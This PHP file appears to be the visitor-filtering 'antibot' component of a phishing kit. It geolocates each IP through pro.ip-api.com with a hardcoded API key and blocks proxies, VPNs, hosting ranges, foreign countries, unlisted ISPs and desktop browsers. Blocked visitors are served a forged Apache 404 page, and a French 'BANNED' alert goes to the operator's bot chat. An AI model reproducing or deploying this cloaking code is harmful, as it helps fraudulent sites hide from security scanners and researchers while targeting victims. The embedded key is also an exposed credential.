<?php

if (!defined('SECURE_CONTEXT')) {
    http_response_code(403);
    exit('Access denied');
}

require_once dirname(__DIR__) . '/config.php';
require_once __DIR__ . '/functions.php';

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

$ip = getUserIP();
if ($ip === '::1') {
    $ip = '127.0.0.1';
}
$ip = $_SESSION['ip'] = $ip;
$ipQuery = rawurlencode($ip);
$ua = $_SESSION['ua'] = htmlspecialchars($_SERVER['HTTP_USER_AGENT'] ?? 'unknown', ENT_QUOTES, 'UTF-8');

if ($ip === "127.0.0.1" || $ip === "::1") {
    $_SESSION['humain'] = true;
    $_SESSION['humain_verified'] = true;
    $_SESSION['countryCode'] = 'HU';
    $countryCode = 'HU';
    $org = 'Localhost';
    $date = date('H:i:s');
    $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
    return;
}

if (!isset($_SESSION['humain_verified']) || $_SESSION['humain_verified'] !== true) {

    $cacheDir = dirname(__DIR__) . '/cache/ip';
    $cacheFile = "$cacheDir/" . md5($ip) . ".json";
    if (!is_dir($cacheDir)) {
        mkdir($cacheDir, 0755, true);
    }

    $ipData = null;
    $primaryApiFailed = false;

    if (file_exists($cacheFile) && (filemtime($cacheFile) > time() - 900)) {
        $ipData = json_decode(file_get_contents($cacheFile), true);
    } else {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => "https://pro.ip-api.com/json/" . urlencode($ip) . "?key=LWKtz4EzQwMJRyQ&fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,mobile,proxy,hosting",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_CONNECTTIMEOUT => 1,
            CURLOPT_TIMEOUT => 2,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_USERAGENT => 'Mozilla/5.0',
        ]);
        $ipDataRaw = curl_exec($ch);
        $ipCurlError = curl_errno($ch);
        curl_close($ch);

        $ipData = json_decode($ipDataRaw, true);

        if ($ipCurlError !== 0 || !is_array($ipData) || ($ipData['status'] ?? null) !== 'success') {
            $primaryApiFailed = true;
        } else {
            file_put_contents($cacheFile, json_encode($ipData));
        }
    }

    $_SESSION['humain'] = true;

    if ($primaryApiFailed) {
        $altData = @file_get_contents("http://ipwhois.app/json/{$ip}");
        $altJson = json_decode($altData, true);
        if (is_array($altJson) && isset($altJson['success']) && $altJson['success'] !== false) {
            $ipData = [
                'as' => $altJson['asn'] ?? 'Unknown',
                'countryCode' => $altJson['country_code'] ?? 'XX',
                'proxy' => ($altJson['proxy'] ?? false) === true,
                'hosting' => ($altJson['hosting'] ?? false) === true,
                'isp' => $altJson['isp'] ?? ($altJson['asn'] ?? null),
                'org' => $altJson['org'] ?? null,
            ];
            file_put_contents($cacheFile, json_encode($ipData));
        } else {
            $_SESSION['ab-message'] = "Access Denied (IP suspecte redirection vers captcha)";
            header("Location: captcha.php", true, 302);
            exit();
        }
    }

    $asField = trim((string)($ipData['as'] ?? ''));
    $orgField = trim((string)($ipData['org'] ?? ''));
    $ispField = trim((string)($ipData['isp'] ?? ''));

    $reportOrg = $orgField ?: ($asField ?: ($ispField ?: 'Unknown'));

    $countryCode = $ipData['countryCode'] ?? 'XX';

    $haystack = strtolower($asField . ' ' . $orgField . ' ' . $ispField);

    if (!empty($ipData['proxy']) || !empty($ipData['hosting'])) {
        $_SESSION['humain'] = false;
        $_SESSION['ab-message'] = "Access Denied (Proxy/Hosting/VPN detected)";
    } elseif (!in_array($countryCode, $CONFIG['whitelist_countries'], true)) {
        $_SESSION['humain'] = false;
        $_SESSION['ab-message'] = "Access Denied (Country not allowed)";
    } else {
        $ispsPath = dirname(__DIR__) . '/isps.json';
        $configJson = file_exists($ispsPath) ? json_decode(file_get_contents($ispsPath), true) : [];
        $allowedIsps = $configJson[$countryCode]['isps'] ?? [];
        $isValidIsp = false;

        foreach ($allowedIsps as $isp) {
            $ispLower = strtolower(trim((string)$isp));
            if ($ispLower === '') {
                continue;
            }
            if (stripos($haystack, $ispLower) !== false) {
                $isValidIsp = true;
                break;
            }
        }

        if (!$isValidIsp) {
            $_SESSION['humain'] = false;
            $_SESSION['ab-message'] = $haystack;
        } elseif (!empty($CONFIG['mobile_only'])) {
            $uaLower = strtolower($ua);
            $isMobile = preg_match('/android|iphone|ipad|ipod|windows phone|blackberry|opera mini|mobile/i', $uaLower);

            if (!$isMobile) {
                $_SESSION['humain'] = false;
                $_SESSION['ab-message'] = "Access Denied (Mobile only)";
            }
        }
    }

    $org = htmlspecialchars($reportOrg ?? 'N/A', ENT_QUOTES, 'UTF-8');
    $countryCode = htmlspecialchars($countryCode ?? 'N/A', ENT_QUOTES, 'UTF-8');
    $host = htmlspecialchars($_SERVER['HTTP_HOST'] ?? 'localhost', ENT_QUOTES, 'UTF-8');
    $ipEsc = htmlspecialchars($ip, ENT_QUOTES, 'UTF-8');

    date_default_timezone_set('Europe/Paris');
    $date = date('H:i:s');

    $_SESSION['humain_verified'] = true;

    if ($_SESSION['client'] !== true) {
        header("Location: support/invalid-token.php", true, 302);
        exit();
    }

    if ($_SESSION['humain'] !== true) {

        updateStats('Bots');

        $abMessage = htmlspecialchars($_SESSION['ab-message'] ?? 'Unknown reason', ENT_QUOTES, 'UTF-8');

        $text = <<<EOT
<b>+1 BANNED 🔴</b>

<b>🛸 ISP ➟</b> <code>{$org}</code>
<b>🌍 PAYS ➟</b> <code>{$countryCode}</code>
<b>🕛 DATE ➟</b> <code>{$date}</code>
<b>⚠️ MOTIF ➟</b> <code>{$abMessage}</code>
<b>🔗 URL ➟</b> <code>{$host}</code>

<b>🌐 IP ➟</b> <code>{$ipEsc}</code>
<b>🌐 UA ➟</b> <code>{$ua}</code>
EOT;

        if (function_exists('sendMessage')) {
            sendMessage($CONFIG['bot_chat_id'], $text);
        }

        header("HTTP/1.0 404 Not Found");
        $requestedPage = $_SERVER['REQUEST_URI'];
        $requestedPageWithoutQueryString = parse_url($requestedPage, PHP_URL_PATH);
        $serverName = $_SERVER['SERVER_NAME'];
        echo <<<EOL
            <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
            <html><head>
            <title>404 Not Found</title>
            </head><body>
            <h1>Not Found</h1>
            <p>The requested URL $requestedPageWithoutQueryString was not found on this server.</p>
            <hr>
            <address>Apache/2.4.57 (Debian) Server at $serverName Port 80</address>
            </body></html>
            EOL;
        die();
    }
} else {
    if ($_SESSION['client'] !== true) {
        header("Location: support/invalid-token.php", true, 302);
        exit();
    }

    if ($_SESSION['humain'] !== true) {

        updateStats('Bots');

        $abMessage = htmlspecialchars($_SESSION['ab-message'] ?? 'Unknown reason', ENT_QUOTES, 'UTF-8');

        $text = <<<EOT
<b>+1 BANNED 🔴</b>

<b>🛸 ISP ➟</b> <code>{$org}</code>
<b>🌍 PAYS ➟</b> <code>{$countryCode}</code>
<b>🕛 DATE ➟</b> <code>{$date}</code>
<b>⚠️ MOTIF ➟</b> <code>{$abMessage}</code>
<b>🔗 URL ➟</b> <code>{$host}</code>

<b>🌐 IP ➟</b> <code>{$ipEsc}</code>
<b>🌐 UA ➟</b> <code>{$ua}</code>
EOT;

        if (function_exists('sendMessage')) {
            sendMessage($CONFIG['bot_chat_id'], $text);
        }

        header("HTTP/1.0 404 Not Found");
        $requestedPage = $_SERVER['REQUEST_URI'];
        $requestedPageWithoutQueryString = parse_url($requestedPage, PHP_URL_PATH);
        $serverName = $_SERVER['SERVER_NAME'];
        echo <<<EOL
            <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
            <html><head>
            <title>404 Not Found</title>
            </head><body>
            <h1>Not Found</h1>
            <p>The requested URL $requestedPageWithoutQueryString was not found on this server.</p>
            <hr>
            <address>Apache/2.4.57 (Debian) Server at $serverName Port 80</address>
            </body></html>
            EOL;
        die();
    }
}
